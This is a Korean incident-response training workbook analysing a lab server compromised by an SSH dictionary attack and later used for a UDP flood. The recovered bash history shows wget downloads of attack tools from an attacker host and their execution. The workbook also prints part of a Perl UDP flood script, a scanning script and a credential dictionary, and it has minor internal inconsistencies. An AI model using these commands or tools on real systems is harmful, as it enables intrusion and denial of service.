



# 침해사고분석실습

시스템분석가이드

실습 요약

사전식 대입 공격으로 인한 침해사고 시스템 분석 실습

Greg Song

bigrootno1@gmail.com

© Copyright 2022 BIGROOT Security

## 목차

1. 점검 요약 .....	2
2. 상세 분석 .....	3
3. 대응 방안 .....	16

### 안내

본 자료는 '핵심을 찾아내는 침해사고 분석(입문편)' 전용 교재입니다. 교육 자료(실습자료포함)는 유료 교육 콘텐츠에 포함되며 교육 이해를 돕기 위해 교육 수강자에게 제공 됩니다. 본 자료는 무단 전재 및 재배포를 금지 합니다.

## 1. 점검 요약

### ✓ 침해사고 당시 시스템 증상 요약

- 1) 아웃바운드로 DoS 공격 트래픽 발생
- 2) 외부와 비정상 세션 연결 형성

### ✓ 분석목표

- 1) 침해사고 발생 시스템의 운영체제 로그 분석 후 사고 원인 파악
- 2) 해커가 사용한 공격 파일을 확보하고 공격툴의 용도 분석
- 3) 침해사고 발생 시스템의 관리자(ROOT)계정 패스워드 확인

### ✓ 공격 단계

공격 단계	요약
1 단계	중국에 할당된 IP 대역에서 관리자 계정 접속 성공
2 단계	아웃바운드 사전식 대입 공격 시도
3 단계	아웃바운드 DoS 공격 발생(UDP Flooding)

### ✓ 공격 유입 경로

침해사고 발생 원인은 접근 제어 누락과 유출하기 쉬운 관리자 패스워드 사용으로 인해 발생 하였다.

사고 발생 시스템은 SSH 서비스 접속이 외부에서 아무런 제약 없이 접근 가능하였다. 해커는 SSH 서비스 포트(TCP 22)에 접속하여 사전식 대입 공격을 시도 하였다. 사전식 대입 공격 과정에서 취약한 패스워드 사용으로 인해 54번의 시도 만에 시스템 패스워드 유추에 성공 하였다.

관리자 계정을 획득한 후 해커는 추가 공격을 위해 A 클래스 대역으로 SSH 스캐닝을 시도하고 동시에 동일한 방식의 사전식 대입 공격을 수행 하였다.

이후 UDP Flooding 공격을 위해 Perl Script를 시스템에 설치하고 DoS 공격을 수행 하다.

참고, 사고가 발생한 시스템의 디스크를 절제 후 분석을 목적으로 별도 시스템에 마운트 하였다. 분석 작업은 IDC 내에 있는 서버에서 콘솔을 이용해서만 진행하고 별도의 분석용 소프트웨어 사용이 불가능 한 상황 이었다.

## 2. 상세 분석

### 1) 침해사고 발생 시스템의 운영체제 로그 분석

리눅스 시스템에는 다음 표와 같이 목적에 따라 다양한 로그가 존재 한다.

경로		설명
/var/log	auth.log	로그인 실패에 대한 기록
	wtmp	사용자들의 로그인 로그아웃 정보 누적 기록
	secure	운영체제 및 응용프로그램의 주요 동작 상태
	message	su, 특정 데몬 및 부팅 시 발생한 에러 기록
	lastlog	모든 사용자에게 대한 접속 정보
/var/log/httpd	access_log	접속 요청 및 시도에 대한 로그(web)
	error_log	접속 요청 및 에러에 대한 로그(web)
/var/run	utmp	현재 로그인한 사용자에게 대한 상태를 기록

표 리눅스 계열 로그

모든 시스템 분석 시 제일 먼저 로그를 분석 한다. 로그를 통해 사용자 접속 기록을 확인하고 접근 계정 및 접근한 IP 정보를 확인함으로써 분석 실마리를 찾는다.

### ✓ Step1> 로그 확인

실습할 시스템 또한 제일 먼저 로그를 분석 해야 한다. 분석할 로그는 운영체제에 따라 다양 하다. 리눅스 계열(우분투포함)의 시스템은 시스템 디렉터리 중 "/var/log" 경로에 분석할 로그가 기록 된다.

로그 분석을 통해 침해사고가 발생한 시스템의 사고원인을 파악해 보자.

```
cert@ftp-svr01:~# cd /var/log
```

```
cert@ftp-svr01:~# ls -al
```

```
System information as of Fri Oct 21 12:50:01 AM UTC 2022

System load: 0.328125      Processes:           143
Usage of / : 35.3% of 8.02GB Users logged in:       0
Memory usage: 5%          IPv4 address for enp0s3: 192.168.75.212
Swap usage: 0%

55 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Last login: Fri Oct 21 00:50:02 2022
cert@ftp-svr01:~$
cert@ftp-svr01:~$ id
uid=1000(cert) gid=1000(cert) groups=1000(cert),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
cert@ftp-svr01:~$
cert@ftp-svr01:~$ pwd
/home/cert
cert@ftp-svr01:~$
cert@ftp-svr01:~$ cd /var/log/
cert@ftp-svr01:/var/log$
cert@ftp-svr01:/var/log$ ls -al
total 1404
drwxrwxr-x 9 root      syslog      4096 Oct 21 00:41 .
drwxr-xr-x 13 root      root        4096 Apr 21 2022 ..
-rw-r--r-- 1 root      root        33702 Oct 20 13:24 alternatives.log
drwxr-xr-x 2 root      root        4096 Oct 20 13:33 apt
-rw-r----- 1 syslog    adm        13588 Oct 21 00:51 auth.log
-rw-r--r-- 1 root      root        64549 Apr 21 2022 bootstrap.log
-rw-rw---- 1 root      utmp       5760 Oct 20 14:00 btmp
-rw-r----- 1 root      adm        8325 Oct 21 00:41 cloud-init-output.log
-rw-r--r-- 1 syslog    adm       172248 Oct 21 00:41 cloud-init.log
drwxr-xr-x 2 root      root        4096 Apr 18 2022 dist-upgrade
-rw-r----- 1 root      adm        47129 Oct 21 00:41 dmesg
-rw-r----- 1 root      adm        48680 Oct 20 13:32 dmesg.0
-rw-r--r-- 1 root      root       574854 Oct 20 13:33 dpkg.log
-rw-r--r-- 1 root      root       32032 Oct 20 13:32 faillog
drwxr-x--x 3 root      adm        4096 Oct 20 13:30 installer
drwxr-sr-x+ 3 root      systemd-journal 4096 Oct 20 13:32 journal
-rw-r----- 1 syslog    adm       126501 Oct 21 00:47 kern.log
drwxr-xr-x 2 landscape landscape 4096 Oct 20 13:56 landscape
-rw-rw-r-- 1 root      utmp       292292 Oct 21 00:51 lastlog
drwx----- 2 root      root        4096 Apr 21 2022 private
-rw-r----- 1 syslog    adm       235604 Oct 21 00:51 syslog
-rw-r--r-- 1 root      root        157 Oct 20 13:57 ubuntu-advantage-timer.log
-rw-r--r-- 1 root      root         0 Apr 21 2022 ubuntu-advantage.log
drwxr-x--x 2 root      adm        4096 Oct 20 13:32 unattended-upgrades
-rw-rw-r-- 1 root      utmp       8064 Oct 21 00:51 wtmp
cert@ftp-svr01:/var/log$
```

### ✓ Step2> 로그인 사용자 분석

시스템이 해킹을 당하면 정상 사용자가 아닌 해커에 의해 원격 접속이 이뤄지게 된다. Last 로그를 통해 먼저 시스템 로그인 내용을 확인 한다.

```

-rw-r----- 1 root    adm      48680 Oct 20 13:32 dmesg.0
-rw-r--r-- 1 root    root     574854 Oct 20 13:33 dpkg.log
-rw-r--r-- 1 root    root     32032 Oct 20 13:32 faillog
drwxr-x--- 3 root    adm       4096 Oct 20 13:30 installer
drwxr-sr-x+ 3 root    systemd-journal 4096 Oct 20 13:32 journal
-rw-r----- 1 syslog  adm     126501 Oct 21 00:47 kern.log
drwxr-xr-x 2 landscape landscape 4096 Oct 20 13:56 landscape
-rw-rw-r-- 1 root    utmp     292292 Oct 21 00:51 lastlog
drwx----- 2 root    root       4096 Apr 21 2022 private
-rw-r----- 1 syslog  adm     235604 Oct 21 00:51 syslog
-rw-r--r-- 1 root    root      157 Oct 20 13:57 ubuntu-advantage-timer.log
-rw-r--r-- 1 root    root        0 Apr 21 2022 ubuntu-advantage.log
drwxr-x--- 2 root    adm       4096 Oct 20 13:32 unattended-upgrades
-rw-rw-r-- 1 root    utmp      8064 Oct 21 00:51 wtmp

[cert@ftp-svr01:/var/log$ lastlog
Username      Port      From      Latest
root          pts/0     192.168.75.181 Thu Oct 20 14:01:13 +0000 2022
daemon
bin            **Never logged in**
sys           **Never logged in**
sync          **Never logged in**
games         **Never logged in**
man           **Never logged in**
lp            **Never logged in**
mail          **Never logged in**
news          **Never logged in**
uucp         **Never logged in**
proxy         **Never logged in**
www-data      **Never logged in**
backup        **Never logged in**
list          **Never logged in**
irc           **Never logged in**
gnats         **Never logged in**
nobody        **Never logged in**
_apt          **Never logged in**
systemd-network **Never logged in**
systemd-resolve **Never logged in**
messagebus    **Never logged in**
systemd-timesync **Never logged in**
pollinate     **Never logged in**
sshd          **Never logged in**
syslog        **Never logged in**
uuid          **Never logged in**
tcpdump       **Never logged in**
tss           **Never logged in**
landscape     **Never logged in**
usbmux        **Never logged in**
cert          pts/0     192.168.75.158 Fri Oct 21 00:51:02 +0000 2022
lxd           **Never logged in**
[cert@ftp-svr01:/var/log$

```

그림 Lastlog 확인

해커가 접속한 기록을 확인해야 한다. 원격 및 콘솔을 통해 인증을 요청한 기록은 “auth.log”<sup>1</sup>에 기록 된다.

```
cert@ftp-svr01:~# cp /var/log/auth.log /home/cert/auth.backup
```

```
cert@ftp-svr01:~# vi auth.log
```

```
Oct 20 13:56:33 ftp-svr01 login[1735]: FAILED LOGIN (1) on '/dev/tty1' FOR 'cert'. Authentication failure
Oct 20 13:56:39 ftp-svr01 login[1735]: pam_unix(login:session): session opened for user cert(uid=1000) by LOGIN(uid=0)
Oct 20 13:56:39 ftp-svr01 systemd-logind[814]: New session 3 of user cert.
Oct 20 13:56:39 ftp-svr01 systemd: pam_unix(systemd-user:session): session opened for user cert(uid=1000) by (uid=0)
Oct 20 13:59:12 ftp-svr01 sshd[1867]: error: kex_exchange_identification: Connection closed by remote host
Oct 20 13:59:12 ftp-svr01 sshd[1867]: Connection closed by 192.168.75.181 port 36950
Oct 20 13:59:12 ftp-svr01 sshd[1868]: error: Protocol major versions differ: 2 vs. 1
Oct 20 13:59:12 ftp-svr01 sshd[1868]: banner exchange: Connection from 192.168.75.181 port 36966: could not read protocol version
Oct 20 13:59:12 ftp-svr01 sshd[1869]: error: Protocol major versions differ: 2 vs. 1
Oct 20 13:59:12 ftp-svr01 sshd[1869]: banner exchange: Connection from 192.168.75.181 port 36974: could not read protocol version
Oct 20 13:59:12 ftp-svr01 sshd[1870]: Unable to negotiate with 192.168.75.181 port 36988: no matching host key type found. Their offer: ssh-dss [preauth]
Oct 20 13:59:12 ftp-svr01 sshd[1872]: Unable to negotiate with 192.168.75.181 port 36990: no matching host key type found. Their offer: ssh-rsa [preauth]
Oct 20 13:59:12 ftp-svr01 sshd[1874]: Connection closed by 192.168.75.181 port 37000 [preauth]
Oct 20 13:59:12 ftp-svr01 sshd[1876]: Unable to negotiate with 192.168.75.181 port 37012: no matching host key type found. Their offer: ecdsa-sha2-nistp384 [preauth]
Oct 20 13:59:12 ftp-svr01 sshd[1878]: Unable to negotiate with 192.168.75.181 port 37018: no matching host key type found. Their offer: ecdsa-sha2-nistp521 [preauth]
Oct 20 13:59:12 ftp-svr01 sshd[1880]: Connection closed by 192.168.75.181 port 37020 [preauth]
Oct 20 14:00:24 ftp-svr01 sshd[1882]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:26 ftp-svr01 sshd[1882]: Failed password for root from 192.168.75.181 port 34870 ssh2
Oct 20 14:00:32 ftp-svr01 sshd[1882]: message repeated 2 times: [ Failed password for root from 192.168.75.181 port 34870 ssh2]
Oct 20 14:00:33 ftp-svr01 sshd[1882]: Accepted password for root from 192.168.75.181 port 34870 ssh2
Oct 20 14:00:33 ftp-svr01 sshd[1882]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Oct 20 14:00:33 ftp-svr01 systemd-logind[814]: New session 5 of user root.
Oct 20 14:00:33 ftp-svr01 systemd: pam_unix(systemd-user:session): session opened for user root(uid=0) by (uid=0)
Oct 20 14:00:35 ftp-svr01 sshd[1882]: pam_unix(sshd:session): session closed for user root
Oct 20 14:00:35 ftp-svr01 systemd-logind[814]: Session 5 logged out. Waiting for processes to exit.
Oct 20 14:00:35 ftp-svr01 systemd-logind[814]: Removed session 5.
Oct 20 14:00:35 ftp-svr01 sshd[1884]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:35 ftp-svr01 sshd[1900]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:35 ftp-svr01 sshd[1892]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:35 ftp-svr01 sshd[1886]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:35 ftp-svr01 sshd[1890]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:35 ftp-svr01 sshd[1888]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:35 ftp-svr01 sshd[1887]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
@@@
/Oct 20 14 64,10 48%
```

### 그림 시스템 인증 로그

사전식 대입 공격에 의한 침해사고가 원인 이었다. 로그를 하나씩 확인해 보면 여러 번의 사전식 공격 시도를 통해 로그인에 성공한 것을 확인 할 수 있다. 로그를 살펴보면 “Oct 20 14:00:24” 시점부터 공격이 시작된 것을 알 수 있다.

```
Oct 20 14:00:24 ftp-svr01 sshd[1882]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:26 ftp-svr01 sshd[1882]: Failed password for root from 192.168.75.181 port 34870 ssh2
Oct 20 14:00:32 ftp-svr01 sshd[1882]: message repeated 2 times: [ Failed password for root from 192.168.75.181 port 34870 ssh2]
```

### 그림 SSH 로그인 시도 실패 로그

<sup>1</sup> 실제 침해가 발생했던 시스템은 리눅스 서버로 우분투의 auth.log와 같은 로그는 /var/log/secure에서 확인할 수 있다.

해커(from 192.168.75.181)는 사전식 대입 공격을 위해 무작위 사용자 정보를 대입하기 시작 한다.

해커(from 192.168.75.181)는 "root"계정의 패스워드를 알아내기 위한 무작위 대입 공격을 반복 한다. "Oct 20 14:00:33"에 시도한 패스워드가 성공 한다.

```
Oct 20 14:00:24 ftp-svr01 sshd[1882]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:26 ftp-svr01 sshd[1882]: Failed password for root from 192.168.75.181 port 34870 ssh2
Oct 20 14:00:32 ftp-svr01 sshd[1882]: message repeated 2 times: [ Failed password for root from 192.168.75.181 port 3487
0 ssh2]
Oct 20 14:00:33 ftp-svr01 sshd[1882]: Accepted password for root from 192.168.75.181 port 34870 ssh2
Oct 20 14:00:33 ftp-svr01 sshd[1882]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Oct 20 14:00:33 ftp-svr01 systemd-logind[814]: New session 5 of user root.
```

그림 auth\_log 로그인성공

### ✓ Step3> 결론

질문) 침해사고 발생 시스템의 운영체제 로그 분석 후 사고 원인 파악?

해답) "Auth.log"를 분석하면 해커가 시도했던 사전식 대입 공격을 확인할 수 있고, 침해 사고발생 원인은 SSH 로그인 계정 노출에 의해 발생 되었다.



## 2) 해커가 사용한 공격 파일을 확보하고 공격툴의 용도 분석

해커가 사전식 대입 공격을 통해 해킹에 성공한 것을 "auth.log" 파일을 통해 확인 했다. 이제 해커가 어떻게 "**아웃바운드로 DDoS 공격 트래픽 발생**"을 실행 했는지 시스템을 분석해야 한다.

운영체제에는 시스템 로그뿐만 아니라 사용자의 명령 실행 내역을 로그로 기록 한다. 각 사용자의 홈디렉터리에 기록 된다.

사전식 대입 공격 이후 설치된 악성코드는 root 계정의 명령 히스토리를 점검해야 한다.

점검 항목	경로
기본환경파일접근권한점검	/etc/profile
유저환경파일접근권한점검	.profile, .cshrc, .login, .rhosts, .netrc, .bash_profile, .bashrc
주요디렉터리접근권한	/usr /tmp /sbin /etc
사용자계정파일의접근권한점검	/etc/passwd /etc/shadow /etc/group

표 리눅스 권한 점검 대상 파일

### ✓ Step1> 로그 확인

먼저 root 계정의 홈디렉터리로 이동 한다. 명령이 기록되는 bash\_history 파일은 숨김 파일이기 때문에 "-al" 옵션을 사용 한다.

**cert@ftp-svr01:~# sudo ls -al /root**

```
[cert@ftp-svr01:/var/log$ sudo ls -al /root
total 248
drwx-----  6 root root    4096 Oct 20 14:05 .
drwxr-xr-x 19 root root    4096 Oct 20 13:30 ..
-rw-----  1 root root     212 Oct 20 14:05 .bash_history
-rw-r--r--  1 root root    3106 Oct 15  2021 .bashrc
drwx-----  2 root root    4096 Oct 20 14:00 .cache
-rw-r--r--  1 root root     161 Jul  9  2019 .profile
drwx-----  2 root root    4096 Oct 20 13:32 .ssh
-rw-----  1 root root    1101 Oct 20 13:34 .viminfo
drwxr-sr-x  2 605  900    4096 Oct 20 14:03 gosh
-rw-r--r--  1 root root 209772 Oct 20 08:00 gosh.tgz
drwx-----  3 root root    4096 Oct 20 13:32 snap
```

그림 root 계정 홈 디렉터리

### ✓ Step2> root 계정의 명령 실행 내역 분석

해커는 시스템을 장악하면 필요한 파일을 추가로 설치 한다. 파일을 설치하기 위해서는 외부에서 해킹한 시스템에 파일을 다운로드 해야 한다.

파일을 이동하는 방법은 다양한 방법을 사용 한다. 가장 보편적인 방법은 웹 사이트에 파일을 올려놓고 "wget"을 이용해 파일을 다운로드 하는 방법 이다.

해커가 파일을 어떻게 가져왔는지 ".bash\_history" 파일을 확인해 보자.

### cert@ftp-svr01:~# sudo cat /root/.bash\_history

```
[cert@ftp-svr01:/var/log$ sudo cat /root/.bash_history
[[sudo] password for cert:
ifconfig
wget http://192.168.75.131/gosh.tgz
tar -zxvf gosh.tgz
cd gosh/
ls -al
./ss 192.168
bg
wget http://192.168.75.131/udp.pl
ls -al
chmod +x udp.pl
ls -al
perl udp.pl 192.168.255.255 0 0
bg
jobs
kill %1%1
```

그림 해커가 다운받은 파일

해커는 2개의 파일을 다운 받았다. "gosh.tgz" 파일과 "udp.pl" 파일이다.<sup>2</sup>

해커가 다운받은 파일 정보를 확보 했다. 이제 다운받은 파일을 찾아야 한다.

해커가 "wget http://192.168.75.131/udp.pl" 명령을 실행하기 전에 시스템 디렉터리 이동 내역은 없다. 이는 root로 로그인한 후 바로 파일을 받았다는 의미다. 다운 받은 파일은 root의 홈디렉터리에 남아 있다.

<sup>2</sup> 로그에 남은 102.168.75.131 IP는 침해사고 재현을 위해 사용된 IP입니다. 실제 사고 IP와 다릅니다.

```
[cert@ftp-svr01:/var/log$ sudo find / -name gosh.tgz
/root/gosh.tgz
[cert@ftp-svr01:/var/log$ cd /root
-bash: cd: /root: Permission denied
[cert@ftp-svr01:/var/log$ sudo cd /root
sudo: cd: command not found
sudo: "cd" is a shell built-in command, it cannot be run directly.
sudo: the -s option may be used to run a privileged shell.
sudo: the -D option may be used to run a command in a specific directory.
[cert@ftp-svr01:/var/log$ sudo ls -al /root
total 248
drwx----- 6 root root 4096 Oct 20 14:05 .
drwxr-xr-x 19 root root 4096 Oct 20 13:30 ..
-rw----- 1 root root 212 Oct 20 14:05 .bash_history
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx----- 2 root root 4096 Oct 20 14:00 .cache
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx----- 2 root root 4096 Oct 20 13:32 .ssh
-rw----- 1 root root 1101 Oct 20 13:34 .viminfo
drwxr-sr-x 2 605 900 4096 Oct 20 14:03 gosh
-rw-r--r-- 1 root root 209772 Oct 20 08:00 gosh.tgz
drwx----- 3 root root 4096 Oct 20 13:32 snap
[cert@ftp-svr01:/var/log$
```

그림 해킹용 악성프로그램

### ✓ Step3> 악성프로그램 분석

stile.tgz 파일을 분석 하자. 먼저 압축을 풀고 파일을 분석 한다.

**cert@ftp-svr01:~# tar -zxvf gosh.tgz**

```
[cert@ftp-svr01:~$ pwd
/home/cert
[cert@ftp-svr01:~$ mkdir sample
[cert@ftp-svr01:~$ sudo cp /root/gosh.tgz sample/
[cert@ftp-svr01:~$ cd sample/
[cert@ftp-svr01:~/sample$ ls -al
ls: cannot access 's-al': No such file or directory
[cert@ftp-svr01:~/sample$ ls -al
total 216
drwxrwxr-x 2 cert cert 4096 Oct 21 00:56 .
drwxr-x--- 5 cert cert 4096 Oct 21 00:55 ..
-rw-r--r-- 1 root root 209772 Oct 21 00:56 gosh.tgz
[cert@ftp-svr01:~/sample$
[cert@ftp-svr01:~/sample$ tar -zxvf gosh.tgz
gosh/
gosh/go.sh
gosh/pass_file
gosh/pscan2
gosh/ss
gosh/vuln.txt
[cert@ftp-svr01:~/sample$
```

cert@ftp-svr01:~# vi go.sh

```
[cert@ftp-svr01:~/sample$ cd gosh/
[cert@ftp-svr01:~/sample/gosh$
[cert@ftp-svr01:~/sample/gosh$ ls -al
total 484
drwxr-xr-x 2 cert cert 4096 Oct 20 07:58 .
drwxrwxr-x 3 cert cert 4096 Oct 21 00:56 ..
-rwxr--r-- 1 cert cert 94 Oct 20 07:57 go.sh
-rw-r--r-- 1 cert cert 187 Oct 20 07:57 pass_file
-rwxr--r-- 1 cert cert 21408 Oct 20 07:57 pscan2
-rwxr--r-- 1 cert cert 453973 Oct 20 07:57 ss
-rw-r--r-- 1 cert cert 0 Oct 20 07:58 vuln.txt
[cert@ftp-svr01:~/sample/gosh$
[cert@ftp-svr01:~/sample/gosh$
[cert@ftp-svr01:~/sample/gosh$
[cert@ftp-svr01:~/sample/gosh$ vi go.sh
```

```
./ss 22 -a $1 -i eth0 -s 10
cat bios.txt | sort | uniq > mfu.txt
./ssh-scan 300
rm -f bios.txt
~
```

압축 해제한 파일들은 실행 권한을 가지고 있다. 공격자는 “ss” 파일을 실행 시키고 파라미터로 “192.168” 옵션을 사용 했다. “ss”파일은 옵션으로 제공된 IP대역(B 클래스)을 타겟으로 SSH 포트 스캔을 수행하고 사전식 대입 공격을 실행하는 파일 이다. 해커는 시스템을 해킹했던 동일한 방식으로 2차 공격을 시도한 했다.

udp.pl 파일을 살펴 보자.

cert@ftp-svr01:~# cat udp.pl | more

```
#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
    printf "$0 <ip> <port> <time>\n";
    printf "for any info vizit http://hacking.3xforum.ro/ \n";
    exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "Amu Floodez $ip pe portu $port \n";
printf "daca nu pica in 10 min dai pe alt port \n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
    goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
    system("(sleep $time;killall -9 udp) &");
}
--More--
```

udp.pl 파일이 이상 트래픽을 일으킨 파일 이다. 해커는 "udp.pl" 파일을 이용해 UDP 패킷을 생성하였고, DoS 공격에 이용했다.

### ✓ Step3> 결론

질문) 해커가 사용한 공격 파일을 확보하고 공격툴의 용도 분석?

해답) ".bash\_history" 파일을 통해 공격에 사용된 파일 정보를 확인하고 시스템에 저장된 파일을 확보하였다. 다운받은 파일은 DoS 공격에 사용되는 udp.pl 파일과 사전식 대입 공격용 stile 파일이 사용 되었다.

### 3) 침해사고 발생 시스템의 관리자(ROOT)계정 패스워드 확인

사전식 대입 시도 공격 로그를 통해 root 패스워드를 확인 할 수 있다. 공격에 사용된 사전 파일은 공격 후 다운받은 해킹툴과 동일한 사전 파일을 사용하였고 auth.log의 인증 성공 로그를 살펴보면 알 수 있다.

```
Oct 20 14:00:24 ftp-svr01 sshd[1882]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.75.181 user=root
Oct 20 14:00:26 ftp-svr01 sshd[1882]: Failed password for root from 192.168.75.181 port 34870 ssh2
Oct 20 14:00:32 ftp-svr01 sshd[1882]: message repeated 2 times: [ Failed password for root from 192.168.75.181 port 3487
0 ssh2]
Oct 20 14:00:33 ftp-svr01 sshd[1882]: Accepted password for root from 192.168.75.181 port 34870 ssh2
Oct 20 14:00:33 ftp-svr01 sshd[1882]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Oct 20 14:00:33 ftp-svr01 systemd-logind[814]: New session 5 of user root.
```

그림 auth\_log파일

#### ✓ Step1> 로그 확인

사용자 로그인 기록을 보면 sshd[1882] 프로세스에서 패스워드 성공이 이뤄졌다. 마지막 SSH 프로세스 PID는 1880 이었다.

성공한 패스워드를 유추하기 위해 해커(192.168.75.181)가 시도했던 패스워드 파일을 따로 추출해서 파일로 저장 한다.

**cert@ftp-svr01:~# cat /var/log/auth.log | grep "password" | more**

```
[cert@ftp-svr01:~/sample/gosh$ cat /var/log/auth.log | grep "password" | more
Oct 20 13:35:06 ftp-svr01 passwd[1732]: pam_unix(passwd:chauthtok): password changed for root
Oct 20 14:00:26 ftp-svr01 sshd[1882]: Failed password for root from 192.168.75.181 port 34870 ssh2
Oct 20 14:00:32 ftp-svr01 sshd[1882]: message repeated 2 times: [ Failed password for root from 192.168.75.181 port 3487
0 ssh2]
Oct 20 14:00:33 ftp-svr01 sshd[1882]: Accepted password for root from 192.168.75.181 port 34870 ssh2
```

그림 auth\_log파일추출

4번째 시도에서 sshd[1882](PID 1882) root 패스워드 로그인이 성공 했다.



공격자가 사용한 패스워드 파일의 3번째 라인을 확인 하자.

**cert@ftp-svr01:~# vi pass\_file**

```
root root
root password
root 111111
root 123456
root qwerty
root p@ssw0rd
root pa55w0rd
root passw0rd
root 1q2w3e
root abc123
root abcd1234
root 1234
root redhat
oracle oracle
test test
```

침해가 발생한 시스템의 root 패스워드는 123456 입니다.

#### ✓ Step2> 결론

질문) 침해사고 발생 시스템의 관리자(ROOT)계정 패스워드 확인

해답) 123456



### 3. 대응 방안

이번 침해 사고는 취약한 패스워드 설정 및 접근 제어 문제로 발생 되었다. 다음과 같은 방법으로 해결할 수 있다.

1) 방화벽 설치 및 서버 데몬에 대한 접근 제어 설정 추가

- 시스템의 모든 권한을 획득할 수 있는 SSH에 대한 접근 제어
- 네트워크 기반 방화벽이나 서버에 구현할 수 있는 iptable 등을 이용해 접근 제어
- 내부 패스워드 감사 정책에 의한 복잡한 패스워드 설정
- 주기적인 패스워드 변경과 과거 사용했던 패스워드 설정 제한

2) root 계정의 sshd\_config 파일 수정

- PermitRootLogin : root 사용자의 로그인 허용 여부(yes, prohibit-password, forced-commands-only, no)를 원격 접근이 불가능 하도록 설정, 해당 설정 라인을 주석 추가

## 문서끝